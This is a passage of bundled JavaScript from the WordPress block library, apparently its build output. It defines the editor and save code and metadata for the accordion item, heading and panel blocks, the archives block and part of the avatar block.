      template: TEMPLATE,
      templateLock: &quot;all&quot;,
      directInsert: true,
      templateInsertUpdatesSelection: true
    });
    return /* @__PURE__ */ (0, import_jsx_runtime159.jsxs)(import_jsx_runtime159.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime159.jsx)(import_block_editor4.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime159.jsx)(
        import_components2.__experimentalToolsPanel,
        {
          label: (0, import_i18n3.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({ openByDefault: false });
          },
          dropdownMenuProps,
          children: /* @__PURE__ */ (0, import_jsx_runtime159.jsx)(
            import_components2.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n3.__)(&quot;Open by default&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; !!openByDefault,
              onDeselect: () =&gt; {
                setAttributes({ openByDefault: false });
              },
              children: /* @__PURE__ */ (0, import_jsx_runtime159.jsx)(
                import_components2.ToggleControl,
                {
                  label: (0, import_i18n3.__)(&quot;Open by default&quot;),
                  onChange: (value) =&gt; {
                    setAttributes({
                      openByDefault: value
                    });
                  },
                  checked: openByDefault,
                  help: (0, import_i18n3.__)(
                    &quot;Accordion content will be displayed by default.&quot;
                  )
                }
              )
            }
          )
        }
      ) }, &quot;setting&quot;),
      /* @__PURE__ */ (0, import_jsx_runtime159.jsx)(&quot;div&quot;, { ...innerBlocksProps })
    ] });
  }

  // packages/block-library/build-module/accordion-item/save.mjs
  var import_block_editor5 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime160 = __toESM(require_jsx_runtime(), 1);
  function save2({ attributes: attributes2 }) {
    const { openByDefault } = attributes2;
    const blockProps = import_block_editor5.useBlockProps.save({
      className: clsx_default({
        &quot;is-open&quot;: openByDefault
      })
    });
    const innerBlocksProps = import_block_editor5.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime160.jsx)(&quot;div&quot;, { ...innerBlocksProps });
  }

  // packages/block-library/build-module/accordion-item/block.json
  var block_default2 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/accordion-item&quot;,
    title: &quot;Accordion Item&quot;,
    category: &quot;design&quot;,
    description: &quot;Wraps the heading and panel in one unit.&quot;,
    parent: [&quot;core/accordion&quot;],
    allowedBlocks: [&quot;core/accordion-heading&quot;, &quot;core/accordion-panel&quot;],
    supports: {
      html: false,
      color: {
        background: true,
        gradients: true
      },
      interactivity: true,
      spacing: {
        margin: [&quot;top&quot;, &quot;bottom&quot;],
        blockGap: true
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      shadow: true,
      layout: {
        allowEditing: false
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      contentRole: true
    },
    attributes: {
      openByDefault: {
        type: &quot;boolean&quot;,
        default: false
      }
    },
    providesContext: {
      &quot;core/accordion-open-by-default&quot;: &quot;openByDefault&quot;
    },
    textdomain: &quot;default&quot;,
    style: &quot;wp-block-accordion-item&quot;
  };

  // packages/block-library/build-module/accordion-item/index.mjs
  var { name: name2 } = block_default2;
  var settings2 = {
    icon: accordion_item_default,
    edit: Edit2,
    save: save2
  };
  var init2 = () =&gt; initBlock({ name: name2, metadata: block_default2, settings: settings2 });

  // packages/block-library/build-module/accordion-heading/index.mjs
  var accordion_heading_exports = {};
  __export(accordion_heading_exports, {
    init: () =&gt; init3,
    metadata: () =&gt; block_default3,
    name: () =&gt; name3,
    settings: () =&gt; settings3
  });

  // packages/block-library/build-module/accordion-heading/edit.mjs
  var import_i18n4 = __toESM(require_i18n(), 1);
  var import_element3 = __toESM(require_element(), 1);
  var import_block_editor6 = __toESM(require_block_editor(), 1);
  var import_data4 = __toESM(require_data(), 1);
  var import_jsx_runtime161 = __toESM(require_jsx_runtime(), 1);
  function Edit3({ attributes: attributes2, setAttributes, context }) {
    const { title } = attributes2;
    const {
      &quot;core/accordion-icon-position&quot;: iconPosition,
      &quot;core/accordion-show-icon&quot;: showIcon,
      &quot;core/accordion-heading-level&quot;: headingLevel
    } = context;
    const TagName2 = &quot;h&quot; + headingLevel;
    const { __unstableMarkNextChangeAsNotPersistent } = (0, import_data4.useDispatch)(import_block_editor6.store);
    (0, import_element3.useEffect)(() =&gt; {
      if (iconPosition !== void 0 &amp;&amp; showIcon !== void 0) {
        __unstableMarkNextChangeAsNotPersistent();
        setAttributes({
          iconPosition,
          showIcon
        });
      }
    }, [
      iconPosition,
      showIcon,
      setAttributes,
      __unstableMarkNextChangeAsNotPersistent
    ]);
    const [fluidTypographySettings, layout] = (0, import_block_editor6.useSettings)(
      &quot;typography.fluid&quot;,
      &quot;layout&quot;
    );
    const typographyProps = (0, import_block_editor6.getTypographyClassesAndStyles)(attributes2, {
      typography: {
        fluid: fluidTypographySettings
      },
      layout: {
        wideSize: layout?.wideSize
      }
    });
    const blockProps = (0, import_block_editor6.useBlockProps)();
    const spacingProps = (0, import_block_editor6.__experimentalGetSpacingClassesAndStyles)(attributes2);
    return /* @__PURE__ */ (0, import_jsx_runtime161.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime161.jsxs)(
      &quot;button&quot;,
      {
        className: &quot;wp-block-accordion-heading__toggle&quot;,
        style: spacingProps.style,
        tabIndex: &quot;-1&quot;,
        children: [
          showIcon &amp;&amp; iconPosition === &quot;left&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime161.jsx)(
            &quot;span&quot;,
            {
              className: &quot;wp-block-accordion-heading__toggle-icon&quot;,
              &quot;aria-hidden&quot;: &quot;true&quot;,
              children: &quot;+&quot;
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime161.jsx)(
            import_block_editor6.RichText,
            {
              withoutInteractiveFormatting: true,
              disableLineBreaks: true,
              tagName: &quot;span&quot;,
              value: title,
              onChange: (newTitle) =&gt; setAttributes({ title: newTitle }),
              placeholder: (0, import_i18n4.__)(&quot;Accordion title&quot;),
              className: &quot;wp-block-accordion-heading__toggle-title&quot;,
              style: {
                letterSpacing: typographyProps.style.letterSpacing,
                textDecoration: typographyProps.style.textDecoration
              }
            }
          ),
          showIcon &amp;&amp; iconPosition === &quot;right&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime161.jsx)(
            &quot;span&quot;,
            {
              className: &quot;wp-block-accordion-heading__toggle-icon&quot;,
              &quot;aria-hidden&quot;: &quot;true&quot;,
              children: &quot;+&quot;
            }
          )
        ]
      }
    ) });
  }

  // packages/block-library/build-module/accordion-heading/save.mjs
  var import_block_editor7 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime162 = __toESM(require_jsx_runtime(), 1);
  function save3({ attributes: attributes2 }) {
    const { level, title, iconPosition, showIcon } = attributes2;
    const TagName2 = &quot;h&quot; + (level || 3);
    const typographyProps = (0, import_block_editor7.getTypographyClassesAndStyles)(attributes2);
    const blockProps = import_block_editor7.useBlockProps.save();
    const spacingProps = (0, import_block_editor7.__experimentalGetSpacingClassesAndStyles)(attributes2);
    return /* @__PURE__ */ (0, import_jsx_runtime162.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime162.jsxs)(
      &quot;button&quot;,
      {
        type: &quot;button&quot;,
        className: &quot;wp-block-accordion-heading__toggle&quot;,
        style: spacingProps.style,
        children: [
          showIcon &amp;&amp; iconPosition === &quot;left&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime162.jsx)(
            &quot;span&quot;,
            {
              className: &quot;wp-block-accordion-heading__toggle-icon&quot;,
              &quot;aria-hidden&quot;: &quot;true&quot;,
              children: &quot;+&quot;
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime162.jsx)(
            import_block_editor7.RichText.Content,
            {
              className: &quot;wp-block-accordion-heading__toggle-title&quot;,
              tagName: &quot;span&quot;,
              value: title,
              style: {
                letterSpacing: typographyProps.style.letterSpacing,
                textDecoration: typographyProps.style.textDecoration
              }
            }
          ),
          showIcon &amp;&amp; iconPosition === &quot;right&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime162.jsx)(
            &quot;span&quot;,
            {
              className: &quot;wp-block-accordion-heading__toggle-icon&quot;,
              &quot;aria-hidden&quot;: &quot;true&quot;,
              children: &quot;+&quot;
            }
          )
        ]
      }
    ) });
  }

  // packages/block-library/build-module/accordion-heading/block.json
  var block_default3 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/accordion-heading&quot;,
    title: &quot;Accordion Heading&quot;,
    category: &quot;design&quot;,
    description: &quot;Displays a heading that toggles the accordion panel.&quot;,
    parent: [&quot;core/accordion-item&quot;],
    usesContext: [
      &quot;core/accordion-icon-position&quot;,
      &quot;core/accordion-show-icon&quot;,
      &quot;core/accordion-heading-level&quot;
    ],
    supports: {
      anchor: true,
      color: {
        background: true,
        gradients: true
      },
      align: false,
      interactivity: true,
      spacing: {
        padding: true,
        __experimentalDefaultControls: {
          padding: true
        },
        __experimentalSkipSerialization: true,
        __experimentalSelector: &quot;.wp-block-accordion-heading__toggle&quot;
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      typography: {
        __experimentalSkipSerialization: [
          &quot;textDecoration&quot;,
          &quot;letterSpacing&quot;
        ],
        fontSize: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true,
          fontFamily: true
        }
      },
      shadow: true,
      visibility: false,
      lock: false
    },
    selectors: {
      typography: {
        letterSpacing: &quot;.wp-block-accordion-heading .wp-block-accordion-heading__toggle-title&quot;,
        textDecoration: &quot;.wp-block-accordion-heading .wp-block-accordion-heading__toggle-title&quot;
      }
    },
    attributes: {
      openByDefault: {
        type: &quot;boolean&quot;,
        default: false
      },
      title: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;.wp-block-accordion-heading__toggle-title&quot;,
        role: &quot;content&quot;
      },
      level: {
        type: &quot;number&quot;
      },
      iconPosition: {
        type: &quot;string&quot;,
        enum: [&quot;left&quot;, &quot;right&quot;],
        default: &quot;right&quot;
      },
      showIcon: {
        type: &quot;boolean&quot;,
        default: true
      }
    },
    textdomain: &quot;default&quot;
  };

  // packages/block-library/build-module/accordion-heading/deprecated.mjs
  var import_block_editor8 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime163 = __toESM(require_jsx_runtime(), 1);
  var v1 = {
    attributes: {
      openByDefault: {
        type: &quot;boolean&quot;,
        default: false
      },
      title: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;.wp-block-accordion-heading__toggle-title&quot;,
        role: &quot;content&quot;
      },
      level: {
        type: &quot;number&quot;
      },
      iconPosition: {
        type: &quot;string&quot;,
        enum: [&quot;left&quot;, &quot;right&quot;],
        default: &quot;right&quot;
      },
      showIcon: {
        type: &quot;boolean&quot;,
        default: true
      }
    },
    supports: {
      anchor: true,
      color: {
        background: true,
        gradients: true
      },
      align: false,
      interactivity: true,
      spacing: {
        padding: true,
        __experimentalDefaultControls: {
          padding: true
        },
        __experimentalSkipSerialization: true,
        __experimentalSelector: &quot;.wp-block-accordion-heading__toggle&quot;
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      typography: {
        fontSize: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true,
          fontFamily: true
        }
      },
      shadow: true,
      visibility: false
    },
    save({ attributes: attributes2 }) {
      const { level, title, iconPosition, showIcon } = attributes2;
      const TagName2 = &quot;h&quot; + (level || 3);
      const blockProps = import_block_editor8.useBlockProps.save();
      const spacingProps = (0, import_block_editor8.__experimentalGetSpacingClassesAndStyles)(attributes2);
      return /* @__PURE__ */ (0, import_jsx_runtime163.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime163.jsxs)(
        &quot;button&quot;,
        {
          className: &quot;wp-block-accordion-heading__toggle&quot;,
          style: spacingProps.style,
          children: [
            showIcon &amp;&amp; iconPosition === &quot;left&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime163.jsx)(
              &quot;span&quot;,
              {
                className: &quot;wp-block-accordion-heading__toggle-icon&quot;,
                &quot;aria-hidden&quot;: &quot;true&quot;,
                children: &quot;+&quot;
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime163.jsx)(
              import_block_editor8.RichText.Content,
              {
                className: &quot;wp-block-accordion-heading__toggle-title&quot;,
                tagName: &quot;span&quot;,
                value: title
              }
            ),
            showIcon &amp;&amp; iconPosition === &quot;right&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime163.jsx)(
              &quot;span&quot;,
              {
                className: &quot;wp-block-accordion-heading__toggle-icon&quot;,
                &quot;aria-hidden&quot;: &quot;true&quot;,
                children: &quot;+&quot;
              }
            )
          ]
        }
      ) });
    }
  };
  var v2 = {
    attributes: {
      openByDefault: {
        type: &quot;boolean&quot;,
        default: false
      },
      title: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;.wp-block-accordion-heading__toggle-title&quot;,
        role: &quot;content&quot;
      },
      level: {
        type: &quot;number&quot;
      },
      iconPosition: {
        type: &quot;string&quot;,
        enum: [&quot;left&quot;, &quot;right&quot;],
        default: &quot;right&quot;
      },
      showIcon: {
        type: &quot;boolean&quot;,
        default: true
      }
    },
    supports: {
      anchor: true,
      color: {
        background: true,
        gradients: true
      },
      align: false,
      interactivity: true,
      spacing: {
        padding: true,
        __experimentalDefaultControls: {
          padding: true
        },
        __experimentalSkipSerialization: true,
        __experimentalSelector: &quot;.wp-block-accordion-heading__toggle&quot;
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      typography: {
        __experimentalSkipSerialization: [
          &quot;textDecoration&quot;,
          &quot;letterSpacing&quot;
        ],
        fontSize: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true,
          fontFamily: true
        }
      },
      shadow: true,
      visibility: false,
      lock: false
    },
    save({ attributes: attributes2 }) {
      const { level, title, iconPosition, showIcon } = attributes2;
      const TagName2 = &quot;h&quot; + (level || 3);
      const typographyProps = (0, import_block_editor8.getTypographyClassesAndStyles)(attributes2);
      const blockProps = import_block_editor8.useBlockProps.save();
      const spacingProps = (0, import_block_editor8.__experimentalGetSpacingClassesAndStyles)(attributes2);
      return /* @__PURE__ */ (0, import_jsx_runtime163.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime163.jsxs)(
        &quot;button&quot;,
        {
          className: &quot;wp-block-accordion-heading__toggle&quot;,
          style: spacingProps.style,
          children: [
            showIcon &amp;&amp; iconPosition === &quot;left&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime163.jsx)(
              &quot;span&quot;,
              {
                className: &quot;wp-block-accordion-heading__toggle-icon&quot;,
                &quot;aria-hidden&quot;: &quot;true&quot;,
                children: &quot;+&quot;
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime163.jsx)(
              import_block_editor8.RichText.Content,
              {
                className: &quot;wp-block-accordion-heading__toggle-title&quot;,
                tagName: &quot;span&quot;,
                value: title,
                style: {
                  letterSpacing: typographyProps.style.letterSpacing,
                  textDecoration: typographyProps.style.textDecoration
                }
              }
            ),
            showIcon &amp;&amp; iconPosition === &quot;right&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime163.jsx)(
              &quot;span&quot;,
              {
                className: &quot;wp-block-accordion-heading__toggle-icon&quot;,
                &quot;aria-hidden&quot;: &quot;true&quot;,
                children: &quot;+&quot;
              }
            )
          ]
        }
      ) });
    }
  };
  var deprecated_default = [v1, v2];

  // packages/block-library/build-module/accordion-heading/index.mjs
  var { name: name3 } = block_default3;
  var settings3 = {
    icon: accordion_heading_default,
    edit: Edit3,
    save: save3,
    deprecated: deprecated_default
  };
  var init3 = () =&gt; initBlock({ name: name3, metadata: block_default3, settings: settings3 });

  // packages/block-library/build-module/accordion-panel/index.mjs
  var accordion_panel_exports = {};
  __export(accordion_panel_exports, {
    init: () =&gt; init4,
    metadata: () =&gt; block_default4,
    name: () =&gt; name4,
    settings: () =&gt; settings4
  });

  // packages/block-library/build-module/accordion-panel/edit.mjs
  var import_block_editor9 = __toESM(require_block_editor(), 1);
  var import_data5 = __toESM(require_data(), 1);
  var import_jsx_runtime164 = __toESM(require_jsx_runtime(), 1);
  function Edit4({ attributes: attributes2, context, clientId, isSelected }) {
    const { allowedBlocks, templateLock } = attributes2;
    const openByDefault = context[&quot;core/accordion-open-by-default&quot;];
    const { hasSelection } = (0, import_data5.useSelect)(
      (select9) =&gt; {
        if (isSelected || openByDefault) {
          return { hasSelection: true };
        }
        const {
          getBlockRootClientId,
          isBlockSelected,
          hasSelectedInnerBlock
        } = select9(import_block_editor9.store);
        const rootClientId = getBlockRootClientId(clientId);
        return {
          hasSelection: isBlockSelected(rootClientId) || hasSelectedInnerBlock(rootClientId, true)
        };
      },
      [clientId, isSelected, openByDefault]
    );
    const blockProps = (0, import_block_editor9.useBlockProps)({
      &quot;aria-hidden&quot;: !hasSelection,
      role: &quot;region&quot;
    });
    const innerBlocksProps = (0, import_block_editor9.useInnerBlocksProps)(blockProps, {
      allowedBlocks,
      template: [[&quot;core/paragraph&quot;, {}]],
      templateLock
    });
    return /* @__PURE__ */ (0, import_jsx_runtime164.jsx)(&quot;div&quot;, { ...innerBlocksProps });
  }

  // packages/block-library/build-module/accordion-panel/save.mjs
  var import_block_editor10 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime165 = __toESM(require_jsx_runtime(), 1);
  function save4() {
    const blockProps = import_block_editor10.useBlockProps.save({
      role: &quot;region&quot;
    });
    const innerBlocksProps = import_block_editor10.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime165.jsx)(&quot;div&quot;, { ...innerBlocksProps });
  }

  // packages/block-library/build-module/accordion-panel/block.json
  var block_default4 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/accordion-panel&quot;,
    title: &quot;Accordion Panel&quot;,
    category: &quot;design&quot;,
    description: &quot;Contains the hidden or revealed content beneath the heading.&quot;,
    parent: [&quot;core/accordion-item&quot;],
    usesContext: [&quot;core/accordion-open-by-default&quot;],
    supports: {
      html: false,
      color: {
        background: true,
        gradients: true
      },
      interactivity: true,
      spacing: {
        padding: true,
        blockGap: true,
        __experimentalDefaultControls: {
          padding: true,
          blockGap: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      shadow: true,
      layout: {
        allowEditing: false
      },
      visibility: false,
      contentRole: true,
      allowedBlocks: true,
      lock: false
    },
    attributes: {
      templateLock: {
        type: [&quot;string&quot;, &quot;boolean&quot;],
        enum: [&quot;all&quot;, &quot;insert&quot;, &quot;contentOnly&quot;, false],
        default: false
      }
    },
    textdomain: &quot;default&quot;,
    style: &quot;wp-block-accordion-panel&quot;
  };

  // packages/block-library/build-module/accordion-panel/index.mjs
  var { name: name4 } = block_default4;
  var settings4 = {
    icon: contents_default,
    edit: Edit4,
    save: save4
  };
  var init4 = () =&gt; initBlock({ name: name4, metadata: block_default4, settings: settings4 });

  // packages/block-library/build-module/archives/index.mjs
  var archives_exports = {};
  __export(archives_exports, {
    init: () =&gt; init5,
    metadata: () =&gt; block_default5,
    name: () =&gt; name5,
    settings: () =&gt; settings5
  });

  // packages/block-library/build-module/archives/block.json
  var block_default5 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/archives&quot;,
    title: &quot;Archives&quot;,
    category: &quot;widgets&quot;,
    description: &quot;Display a date archive of your posts.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      displayAsDropdown: {
        type: &quot;boolean&quot;,
        default: false
      },
      showLabel: {
        type: &quot;boolean&quot;,
        default: true
      },
      showPostCounts: {
        type: &quot;boolean&quot;,
        default: false
      },
      type: {
        type: &quot;string&quot;,
        default: &quot;monthly&quot;
      }
    },
    supports: {
      anchor: true,
      align: true,
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      },
      html: false,
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    }
  };

  // packages/block-library/build-module/archives/edit.mjs
  var import_components3 = __toESM(require_components(), 1);
  var import_i18n5 = __toESM(require_i18n(), 1);
  var import_block_editor11 = __toESM(require_block_editor(), 1);
  var import_server_side_render = __toESM(require_server_side_render(), 1);
  var import_compose2 = __toESM(require_compose(), 1);
  var import_jsx_runtime166 = __toESM(require_jsx_runtime(), 1);
  function ArchivesEdit({ attributes: attributes2, setAttributes, name: name123 }) {
    const { showLabel, showPostCounts, displayAsDropdown, type } = attributes2;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const { content, status, error } = (0, import_server_side_render.useServerSideRender)({
      attributes: attributes2,
      skipBlockSupportAttributes: true,
      block: name123
    });
    const disabledRef = (0, import_compose2.useDisabled)();
    const blockProps = (0, import_block_editor11.useBlockProps)({ ref: disabledRef });
    return /* @__PURE__ */ (0, import_jsx_runtime166.jsxs)(import_jsx_runtime166.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(import_block_editor11.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime166.jsxs)(
        import_components3.__experimentalToolsPanel,
        {
          label: (0, import_i18n5.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              displayAsDropdown: false,
              showLabel: true,
              showPostCounts: false,
              type: &quot;monthly&quot;
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(
              import_components3.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n5.__)(&quot;Display as dropdown&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; displayAsDropdown,
                onDeselect: () =&gt; setAttributes({ displayAsDropdown: false }),
                children: /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(
                  import_components3.ToggleControl,
                  {
                    label: (0, import_i18n5.__)(&quot;Display as dropdown&quot;),
                    checked: displayAsDropdown,
                    onChange: () =&gt; setAttributes({
                      displayAsDropdown: !displayAsDropdown
                    })
                  }
                )
              }
            ),
            displayAsDropdown &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(
              import_components3.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n5.__)(&quot;Show label&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; !showLabel,
                onDeselect: () =&gt; setAttributes({ showLabel: true }),
                children: /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(
                  import_components3.ToggleControl,
                  {
                    label: (0, import_i18n5.__)(&quot;Show label&quot;),
                    checked: showLabel,
                    onChange: () =&gt; setAttributes({
                      showLabel: !showLabel
                    })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(
              import_components3.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n5.__)(&quot;Show post counts&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; showPostCounts,
                onDeselect: () =&gt; setAttributes({ showPostCounts: false }),
                children: /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(
                  import_components3.ToggleControl,
                  {
                    label: (0, import_i18n5.__)(&quot;Show post counts&quot;),
                    checked: showPostCounts,
                    onChange: () =&gt; setAttributes({
                      showPostCounts: !showPostCounts
                    })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(
              import_components3.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n5.__)(&quot;Group by&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; type !== &quot;monthly&quot;,
                onDeselect: () =&gt; setAttributes({ type: &quot;monthly&quot; }),
                children: /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(
                  import_components3.SelectControl,
                  {
                    __next40pxDefaultSize: true,
                    label: (0, import_i18n5.__)(&quot;Group by&quot;),
                    options: [
                      { label: (0, import_i18n5.__)(&quot;Year&quot;), value: &quot;yearly&quot; },
                      { label: (0, import_i18n5.__)(&quot;Month&quot;), value: &quot;monthly&quot; },
                      { label: (0, import_i18n5.__)(&quot;Week&quot;), value: &quot;weekly&quot; },
                      { label: (0, import_i18n5.__)(&quot;Day&quot;), value: &quot;daily&quot; }
                    ],
                    value: type,
                    onChange: (value) =&gt; setAttributes({ type: value })
                  }
                )
              }
            )
          ]
        }
      ) }),
      status === &quot;loading&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(import_components3.Spinner, {}) }),
      status === &quot;error&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(&quot;p&quot;, { children: (0, import_i18n5.sprintf)(
        /* translators: %s: error message returned when rendering the block. */
        (0, import_i18n5.__)(&quot;Error: %s&quot;),
        error
      ) }) }),
      status === &quot;success&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime166.jsx)(html_renderer_default, { wrapperProps: blockProps, html: content })
    ] });
  }

  // packages/block-library/build-module/archives/index.mjs
  var { name: name5 } = block_default5;
  var settings5 = {
    icon: archive_default,
    example: {},
    edit: ArchivesEdit
  };
  var init5 = () =&gt; initBlock({ name: name5, metadata: block_default5, settings: settings5 });

  // packages/block-library/build-module/avatar/index.mjs
  var avatar_exports = {};
  __export(avatar_exports, {
    init: () =&gt; init6,
    metadata: () =&gt; block_default6,
    name: () =&gt; name6,
    settings: () =&gt; settings6
  });

  // packages/block-library/build-module/avatar/block.json
  var block_default6 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/avatar&quot;,
    title: &quot;Avatar&quot;,
    category: &quot;theme&quot;,
    description: &quot;Add a user\u2019s avatar.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      userId: {
        type: &quot;number&quot;
      },
      size: {
        type: &quot;number&quot;,
        default: 96
      },
      isLink: {
        type: &quot;boolean&quot;,
        default: false
      },
      linkTarget: {
        type: &quot;string&quot;,
        default: &quot;_self&quot;
      }
    },
    usesContext: [&quot;postType&quot;, &quot;postId&quot;, &quot;commentId&quot;],
    supports: {
      anchor: true,
      html: false,
      align: true,
      alignWide: false,
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      __experimentalBorder: {
        __experimentalSkipSerialization: true,
        radius: true,
        width: true,
        color: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true
        }
      },
      color: {
        text: false,
        background: false
      },
      filter: {
        duotone: true
      },
      interactivity: {
        clientNavigation: true
      }
    },
    selectors: {
      border: &quot;.wp-block-avatar img&quot;,
      filter: {
        duotone: &quot;.wp-block-avatar img&quot;
      }
    },
    editorStyle: &quot;wp-block-avatar-editor&quot;,
    style: &quot;wp-block-avatar&quot;
  };

  // packages/block-library/build-module/avatar/edit.mjs
  var import_block_editor12 = __toESM(require_block_editor(), 1);
  var import_components5 = __toESM(require_components(), 1);
  var import_i18n8 = __toESM(require_i18n(), 1);
  var import_url = __toESM(require_url(), 1);

  // packages/block-library/build-module/avatar/hooks.mjs
  var import_core_data2 = __toESM(require_core_data(), 1);
  var import_i18n6 = __toESM(require_i18n(), 1);
  var import_data6 = __toESM(require_data(), 1);
  function getAvatarSizes(sizes) {
    const minSize = sizes ? sizes[0] : 24;
    const maxSize = sizes ? sizes[sizes.length - 1] : 96;
    const maxSizeBuffer = Math.floor(maxSize * 2.5);
    return {
      minSize,
      maxSize: maxSizeBuffer
    };
  }
